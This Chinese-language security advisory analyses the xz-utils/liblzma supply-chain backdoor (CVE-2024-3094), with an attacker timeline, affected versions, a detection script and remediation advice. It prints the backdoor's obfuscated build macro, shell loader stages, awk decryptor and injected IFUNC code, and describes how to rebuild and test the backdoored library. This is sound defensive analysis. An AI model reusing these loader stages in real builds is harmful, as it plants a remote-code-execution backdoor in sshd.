0x01 事件概述
近日，微软一名软件工程师Andres Freund公开披露，其观察到liblzma库存在一些奇怪的现象，包括在用ssh远程登录异常及内存错误。经过分析，其确认在liblzma上游组件xz-utils中存在后门代码，后门或可导致攻击者能够在ssh登录认证前，执行攻击者指定的任意代码，可对Linux服务器安全造成严重影响。
综合情况看，这是一起开源软件供应链投毒攻击事件。攻击者伪装成开发者，借更新之名，秘密的向xz-utils中加入后门代码，导致xz-utils中的liblzma易受攻击。
OpenSSH用于SSH登录，广泛部署于基于Linux发行的操作系统中。其默认不依赖liblzma，但是部分Linux发行版会对OpenSSH进行二次开发而导致其默认加载LibSystemd，而LibSystemd默认加载liblzma。就这样，OpenSSH间接的因xz-utils的投毒而变得易受攻击，在认证前可执行攻击者发送的恶意代码。 天融信对该漏洞及相关事件的详细分析情况如下。
liblzma/xz官方库遭到供应链攻击，并被恶意篡改以植入后门。xz主要功能是提供数据压缩和解压缩功能，集成了liblzma等组件。部分linux操作系统ssh的底层实现中间接引用了liblzma，常见的如Red Hat、Debian、Kali Linux、Arch Linux、SUSE、Alpine Linux。
xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件，采用了压缩率高的 LZMA 算法，在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现，被应用于 systemd 等多个 Linux 系统和应用软件。
OpenSSH 是一个用于安全远程访问的开源软件套件，它提供了加密的通信会话，以及在网络上安全地传输文件的工具。OpenSSH 实现 SSH 协议进行远程登录的连接工具。恶意代码可能允许攻击者通过后门版本的SSH非授权获取系统的访问权限。
01
**影响版本
**
xz == 5.6.0
xz == 5.6.1
liblzma== 5.6.0
liblzma== 5.6.1
02
**影响情况
**
当前的情况显示，该漏洞在”投毒”初期便被发现并披露，影响部分系统及服务，尚未大面积扩散。运维及管理人员仍需重视该事件，尽快检查及处置。
01
时间线梳理
xz-utils 有两名维护者：Lasse Collin （昵称Larhzu）和 JiaT75（昵称Jia Tan），其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库，JiaT75则是本次事件的聚焦点之一，其在2021年注册后的11月16日向libarchive（与xz无关）进行了第一次pr，添加了一个未打印的详情错误，这个过程中，将原本的safe_fprintf更改为了unsafe fprintf。
从Mail Archive（xz项目的邮件沟通记录）来看，其最早于2021年10月29日尝试向xz提交代码。
从2022年5月19日开始，ID“Jigar Kumar”和“Dennis Ens”持续对Lasse Collin进行施压，希望选取新的项目开发者来加快更新速度。
在之后的时间里，Jia Tan逐渐获得了项目所有者Lasse Collin的信任，拥有自行提交代码的权力，GitHub上的项目最早提交记录可以追溯到2022年2月7日，此时的提交应该还是原作者参与审核的阶段。
从2022年的12月30日开始，JiaT75有了独自提交代码的能力。
2023年6月23日，GitHub用户“hansjans162”向xz提交了ifunc 解析器替换掉 crc32 模块功能，猜测此ID可能为攻击者另一帐号，并且此ID和在其后的催促debian更新的邮件发送者相同。
在2024年的2月15日的提交中，JiaT75将包含恶意编译代码的文件“build-to-host.m4”添加到.gitignore 文件中，此时该文件将不会被上传到git。
直到2024年2月23日时，JiaT75开始向xz投递了带有恶意载荷文件bad-3-corrupt_lzma2.xz和good-large_compressed.lzma，其自称，文件中包含了一些测试用的“随机数据”，和一些无法被解压的“损坏数据”。为了更好地隐蔽恶意载荷，其中大多数测试数据都是正常无害的。
2024年2月24日时，JiaT75发布了5.6.0版本，在这个版本中，其添加了恶意构建文件“build-tohost.m4”，但是该文件并不存在于GitHub源代码仓库中，而是存在于其releases版本中（https://web.archive.org/web/20240226100419/https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz），其后该版本tarball（打包文件）随即被Debian添加到不稳定版。在编译脚本“build-tohost.m4”中，特定条件下会从bad-3-corrupt\_lzma2.xz和good-large\_compressed.lzma这两个文件中读取内容对.o文件进行修改，致使编译结果和公开的源代码不一致完成供应链攻击。
2024年2月26日时，JiaT75修改了CMakeLists.txt文件，在其中添加了一个毫不起眼的“.”来绕过了Linux Landlock 检查。因为其编译过程会出错导致得到的结果和预想的不一致。
2024年3月9日时，JiaT75发布了5.6.1版本，改进了原来的恶意载荷文件，这次则增加了检查脚本判断是否在Linux上运行。
在2024年3月20日，jia tan还在尝试向Linux内核提交代码更新功能（暂未发现直接的恶意代码），并且该代码已进入Linux-next，事发后被叫停。
上游新版本发布后，JiaT75则开始了积极策划使其再次进入Linux发行版，如下图的Ubuntu。
如下图的debian，ID“hansjans162”和前面的ifunc提交相同。
02
**投毒者信息
**
此次提交恶意文件的用户从提交日志来看有如下其他用户名。
`$ git shortlog --summary --numbered --email | grep jiat0218@gmail.com``273 Jia Tan <jiat0218@gmail.com>``2 jiat75 <jiat0218@gmail.com>``1 Jia Cheong Tan <jiat0218@gmail.com>`
如果GitHub账户jiat75是这次的事件次精心策划者的话，从其使用的用户名Jia Tan和GitHub 提交时间来看（东八时区），可能有意伪造相关身份来证明其是位于东亚。不过又有新的观点认为其是欧州人/以色列人冒充的中国人，支撑点有如下三个。
**1、提交记录的时区信息：**观察到此人有在东二时区（冬季）和东三时区（夏季）的提交记录，这与欧洲/以色列地区实行的夏令时制度相吻合，而不是一直在东八时区（中国时区）。
**2、时区之间的快速切换：**在2022年10月6日，此人在不到10小时内，先后在东八时区和东三时区提交代码，这几乎排除了他在这短时间内实际从中国移动到欧洲的可能性。
**3、假日提交记录的差异：**此人在中国的重要农历假日（如中秋节、清明节、春节）有提交记录，但在欧洲的主要节日（如圣诞节和新年）却没有提交记录。
目前从整理出的全部信息来看，还无法确定JiaT75究竟是个人还是组织。
此次攻击的大致流程如下所示：
1、通过源代码m4目录下的build-to-host.m4文件及tests目录下的bad-3-corrupt_lzma2.xz和good-large_compressed.lzma文件，将包含后门代码的liblzma_la-crc64-fast.o目标文件提取出来，然后用其链接生成最终的恶意liblzma.so文件。
2、利用glibc的IFUNC特性，获得在sshd进程加载liblzma.so库时执行后门代码的能力。通过后门代码Hook sshd进程中RSA_public_decrypt()函数的GOT表条目。
3、攻击者通过SSH公钥登录方式，使用特定的RSA私钥连接目标机器进行身份验证。sshd进程会通过RSA_public_decrypt()函数对攻击者发送的RSA私钥进行解密，该RSA私钥中包含攻击者想要执行的payload，由此可知，本次后门可造成远程代码执行。
01
编译恶意的liblzma.so文件
由于阶段三中执行的good-large_compressed.sh脚本会检查源代码目录下是否存在/debian/rules文件，可以选择debian的xz-utils源码进行编译，或者在上游xz-utils源码创建这样一个文件后，就能成功编译包含后门代码的liblzma.so库。
debian的xz-utils v5.6.0-0.2的链接如下所示。
https://salsa.debian.org/debian/xz-utils/-/tree/debian/5.6.0-0.2?ref\_type=tags
阶段一
在构建xz-utils的过程中，通过执行源代码根目录下的configure脚本生成Makefile文件时，会执行build-to-host.m4文件中的宏。此文件中的宏代码用于对./tests/files/bad-3-corrupt_lzma2.xz文件进行修复，解压，然后获得用于阶段二执行的脚本代码（命名为bad-3-corrupt_lzma2.sh）并执行。build-to-host.m4文件中的关键代码如下所示。
`// ./m4/build-to-host.m4``// 找到包含“####Hello####”内容的文件的名称``` gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` ```❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null``./tests/files/bad-3-corrupt_lzma2.xz`` ``// 获取xz程序的名字``` gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` ```❯ echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g"``xz`` ``// 修复bad-3-corrupt_lzma2.xz文件，并对其解压，获得bad-3-corrupt_lzma2.sh脚本文件，然后执行它``gl_path_map='tr "\t \-_" " \t_\-"'``gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'``sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "\t \-_" " \t_\-"' | xz -d 2>/dev/null`
对bad-3-corrupt_lzma2.xz文件的修复是通过tr "\t \-_" " \t_\-"命令实现的，其过程如下所示：
`0x09(\t) --> 0x20(空格)``0x20(空格) --> 0x09(\t)``0x2d(-) --> 0x5f(_)``0x5f(_) --> 0x2d(-)`
通过对build-to-host.m4文件中的宏代码的分析，可以手动修复bad-3-corrupt_lzma2.xz文件，并获得阶段二执行的bad-3-corrupt_lzma2.sh脚本。
**阶段二
**
阶段二执行的bad-3-corrupt_lzma2.sh脚本的内容如下所示。
`# bad-3-corrupt_lzma2.sh, xz-5.6.0``####Hello####``#†ùZ÷.hj¼``` eval `grep ^srcdir= config.status` ```if test -f ../../config.status;then``` eval `grep ^srcdir= ../../config.status` ```srcdir="../../$srcdir"``fi``export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh``####World####`
bad-3-corrupt_lzma2.sh脚本的内容进行了一定程度的混淆，对其进行分解，可获得以下步骤。
`# 1. 解压./tests/files/good-large_compressed.lzma文件``xz -dc $srcdir/tests/files/good-large_compressed.lzma``# 2. 对good-large_compressed.lzma文件解压后的文件进行处理``eval $i``# 3. 只获取第2步结果的末尾31265字节数据``tail -c +31265``# 4. 对第3步结果中的一些数据进行替换``tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"``# 5. 解压第4步获得的正确的压缩文件``xz -F raw --lzma1 -dc``# 6. 从第5步的输出中获得阶段三的脚本并执行。``/bin/sh`
第2步对good-large_compressed.lzma文件解压后的文件进行处理，首先通过“head -c +1024 >/dev/null”命令将该文件的前1024字节数据丢弃，然后通过“head -c +2048”命令将该文件前1024字节之后的2048字节数据输出到标准输出，以此模式，不断循环，直到将所有无用数据剔除，只留下有效的数据，以待第3步继续处理。所以，good-large_compressed.lzma文件解压后的文件中的数据是无用数据与有用数据交叉分布的。
由上可知，bad-3-corrupt_lzma2.sh脚本用于解压good-large_compressed.lzma文件，然后对解压后的文件进行处理，获得另一个压缩包。对其解压后，获得阶段三执行的脚本（命名为good-large_compressed.sh）。
可以对bad-3-corrupt_lzma2.sh文件做一些修改，以独立获得good-large_compressed.sh。
`# 将good-large_compressed.lzma于此脚本放于同一目录``xz -dc good-large_compressed.lzma``# 将标准输出重定向到good-large_compressed.sh文件中``xz -F raw --lzma1 -dc 1>good-large_compressed.sh`
**阶段三
**
阶段三执行的good-large_compressed.sh脚本会执行两次，第一次用来修改/src/liblzma文件夹下的Makefile，在源代码根目录下，使用阶段二的bad-3-corrupt_lzma2.sh脚本对good-large_compressed.lzma文件进行处理并执行。第一次执行good-large_compressed.sh脚本时，会对/src/liblzma文件夹下的Makefile进行修改，其中包含第二次执行good-large_compressed.sh脚本的命令。第二次用来从good-large_compressed.lzma文件中提取出恶意的liblzma_la-crc64-fast.o目标文件，并对/src/liblzma/check/文件夹下的crc64_fast.c和crc32_fast.c文件的内容做一些修改，然后用恶意的liblzma_la-crc64-fast.o文件替换原始的liblzma_la-crc64_fast.o文件，继续完成接下来的编译链接过程，最终生成恶意的liblzma.so文件。
第一次执行的good-large_compressed.sh脚本中的主要代码如下所示。
`P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"``C="pic_flag=\" $P\""``O="^pic_flag=\" -fPIC -DPIC\"$"``R="is_arch_extension_supported"``x="__get_cpuid("``p="good-large_compressed.lzma"``U="bad-3-corrupt_lzma2.xz"``eval $zrKcVq``# 第一次执行此脚本时，是在源代码根目录下执行的。``if test -f config.status; then` `......` `` eval `grep ^build=\'x86_64 config.status` `` `` eval `grep ^enable_shared=\'yes\' config.status` `` `` eval `grep ^enable_static=\' config.status` `` `` eval `grep ^gl_path_map=\' config.status` `` `eval $zrKccj` `# 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"` `if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then` `exit 0` `fi` `# 查找config.h文件中是否有#define HAVE_FUNC_ATTRIBUTE_IFUNC 1` `if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then` `exit 0` `fi` `# 判断enable_shared选项的值是否为yes` `if test "x$enable_shared" != "xyes";then` `exit 0` `fi` `# 判断build选项的值中是否包含"x86_64"和"linux-gnu"` `if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then` `exit 0` `fi` `......` `# 判断是否存在./debian/rules文件以及$RPM_ARCH环境变量设置为x86_64` `if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then` `......` `# 修改/src/liblzma/Makefile文件的内容` `eval $zrKcTy` `b="am__test = $U"` `sed -i "/$j/i$b" src/liblzma/Makefile || true` `` d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'` `` `b="am__strip_prefix = $d"` `sed -i "/$w/i$b" src/liblzma/Makefile || true` `b="am__dist_setup = \$(am__strip_prefix) | xz -d 2> /dev/null | \$(SHELL)"` `sed -i "/$E/i$b" src/liblzma/Makefile || true` `b="\$(top_srcdir)/tests/files/\$(am__test)"` `s="am__test_dir=$b"` `sed -i "/$Q/i$s" src/liblzma/Makefile || true` `h="-Wl,--sort-section=name,-X"` `if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then` `h=$h",-z,now"` `fi` `j="liblzma_la_LDFLAGS += $h"` `sed -i "/$L/i$j" src/liblzma/Makefile || true` `sed -i "s/$O/$C/g" libtool || true` `k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"` `sed -i "s/$u/$k/" src/liblzma/Makefile || true` `l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\` `export top_srcdir='\$(top_srcdir)'; \\\\\n\` `export CC='\$(CC)'; \\\\\n\` `export DEFS='\$(DEFS)'; \\\\\n\` `export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\` `export INCLUDES='\$(INCLUDES)'; \\\\\n\` `export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\` `export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\` `export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\` `export CFLAGS='\$(CFLAGS)'; \\\\\n\` `export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\` `export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\` `export libdir='\$(libdir)'; \\\\\n\` `export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\` `export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\` `sed rpath \$(am__test_dir) | \$(am__dist_setup) > /dev/null 2>&1";` `sed -i "/$m/i$l" src/liblzma/Makefile || true` `eval $zrKcHD` `fi``......`
此步骤会对当前环境进行一些检测，是否支持glibc的IFUNC特性，以及构建的可执行文件是否是x86_64架构的。除此之外，还会检测源代码项目中是否存在/debian/rules文件或$RPM_ARCH环境变量是否设置为x86_64，只有通过检测，才会修改/src/liblzma/Makefile文件的内容。所以，包含后门的xz-utils项目只能在特定环境下，才能成功构建。
向/src/liblzma/Makefile文件中写入内容的关键部分如下所示。
`am__test = bad-3-corrupt_lzma2.xz``am__test_dir=$(top_srcdir)/tests/files/$(am__test)``am__strip_prefix = tr "\t \-_" " \t_\-"``am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)``sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1`` ``# 实际执行的命令``sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null`
这部分内容用于在通过make命令构建整个项目时，第二次执行good-large_compressed.sh脚本。
第二次执行的good-large_compressed.sh脚本中的主要代码如下所示。
`......``# 第一次执行此脚本时，是在源代码根目录下执行的。``if test -f config.status; then` `......``# 第二次执行此脚本时，是从/src/liblzma目录下的Makefile中执行的，所以当前目录为/src/liblzma。``elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then` `......` `# 从good-large_compressed.lzma文件中提取liblzma_la-crc64-fast.o文件，存放在/src/liblzma目录下。` `xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true` `......` `cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true` `V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'` `eval $yosA` `# 将crc64_fast.c文件crc64_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数` `if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \` `# 在crc64_fast.c文件include "crc_x86_clmul.h"语句下添加一段代码` `sed "/include \"crc_x86_clmul.h\"/a \\$V" | \` `sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2> /dev/null | \` `#`` $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2> /dev/null; then` `......``fi`
此步骤会从good-large_compressed.lzma文件中提取出预构建的恶意liblzma_la-crc64-fast.o目标文件，并对/src/liblzma/check/目录下crc64_fast.c和crc32_fast.c中的内容进行修改，修改的内容如下所示。
`// crc64_fast.c的修改内容，crc32_fast.c与此相似。``#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))``extern int _get_cpuid(int, void*, void*, void*, void*, void*);``static inline bool _is_arch_extension_supported(void) { `` int success = 1; `` uint32_t r[4]; `` success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); `` const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); ``return success && (r[2] & ecx_mask) == ecx_mask;` `}``#else``#define _is_arch_extension_supported is_arch_extension_supported``#endif`` ``static crc64_func_type crc64_resolve(void) {` `return _is_arch_extension_supported()` `? &crc64_arch_optimized : &crc64_generic;``}`
此修改将crc64_resolve()和crc32_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数，并在_is_arch_extension_supported()函数中调用了恶意liblzma_la-crc64-fast.o目标文件中定义的_get_cpuid()函数（一个下划线），而原有的is_arch_extension_supported()函数会调用由gcc实现的__get_cpuid()函数（两个下划线）。_get_cpuid()函数就是对后门进行初始化的入口函数，在此过程中，会修改sshd进程的RSA_public_decrypt()函数的GOT表条目。
02
后门代码工作原理
上游的OpenSSH不依赖liblzma库，但是debian和其他几个Linux发行版对上游的OpenSSH进行了修改，引入了libsystemd库，使其支持systemd通知。libsystemd库依赖于liblzma库，所以，sshd进程也间接依赖于liblzma库。可通过如下命令，查看当前系统中的sshd进程是否依赖于liblzma库。
`❯ ldd /usr/sbin/sshd | grep "liblzma"` `liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5218fc000)``❯ ll /lib/x86_64-linux-gnu/ | grep "liblzma"``-rw-r--r-- 1 root root 275K 4月 8 2022 liblzma.a``lrwxrwxrwx 1 root root 47 4月 2 16:10 liblzma.so -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0``lrwxrwxrwx 1 root root 47 4月 3 15:24 liblzma.so.5 -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0``-rw-r--r-- 1 root root 159K 4月 8 2022 liblzma.so.5.2.4`
当存在后门的liblzma.so库编译成功后，可以通过如下命令测试后门代码是否成功加载。
`❯ time env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -h``option requires an argument -- h``OpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020``usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file]` `[-E log_file] [-f config_file] [-g login_grace_time]` `[-h host_key_file] [-o option] [-p port] [-u len]``env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 0.19s user 0.02s system 90% cpu 0.227 total`` ``❯ time env -i LC_LANG=C TERM=foo LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -h``option requires an argument -- h``OpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020``usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file]` `[-E log_file] [-f config_file] [-g login_grace_time]` `[-h host_key_file] [-o option] [-p port] [-u len]``env -i LC_LANG=C TERM=foo /usr/sbin/sshd -h 0.00s user 0.00s system 91% cpu 0.004 total`
第一条命令成功加载了后门代码，第二条命令未成功加载，加载了后门代码的sshd进程的启动速度较慢。后门代码还会通过检测以下条件，判断是否执行后门代码。
1、未设置TERM、LD_DEBUG、LD_PROFILE环境变量，设置了LANG环境变量。
2、argv[0]为/usr/sbin/sshd。
03
GNU IFUNC
GNU IFUNC(GNU Indirect Function)是GNU工具链的一项功能，它允许开发人员为给定函数创建多个实现，并在运行时使用同样由开发人员编写的解析器函数进行选择。
IFUNC特性虽然为程序的性能优化和平台兼容性提供了更多的可能性，但也存在被恶意利用的风险，其主要的安全隐患包括：劫持函数、绕过安全措施、隐藏攻击载荷。
xz-utils源码中的crc64_fast.c和crc32_fast.c文件中的crc64_resolve()和crc32_resolve()函数为liblzma实现的IFUNC解析器。当加载liblzma.so共享库时，这些IFUNC解析器函数会很早就得到执行。
01
排查方式一
用户可以通过以下命令检查系统中安装的xz-utils软件包的版本：
xz --version
02
排查方式二
通过利用如下脚本进行自查
`#! /bin/bash`` ``set -eu`` ``# find path to liblzma used by sshd``path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"`` ``# does it even exist?``if [ "$path" == "" ]``then``echo probably not vulnerable``exit``fi`` ``# check for function signature``if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410``then``echo probably vulnerable``else``echo probably not vulnerable``fi`` `
03
修复建议
若确认受影响，请将xz降级至 5.4.6 版本。
04
产品支持
目前天融信脆弱性扫描与管理系统已紧急更新XZ-Utils 5.6.0/5.6.1版本后门事件预警（CVE-2024-3094）漏洞检查插件，帮助客户进行漏洞排查。
天融信脆弱性扫描与管理系统针对此漏洞的规则库更新如下图：
天融信脆弱性扫描与管理系统针对该漏洞检查结果如下图所示 ：
**按照如下步骤对插件库进行升级和漏洞扫描：
**
1、在线自动升级，在“超级管理员”账号【系统管理】→【插件库升级】→【立即更新】→立即升级。
2、创建漏洞扫描任务，扫描完成后查看报告，如存在该漏洞，可按照报告中的修复建议进行“补缺”。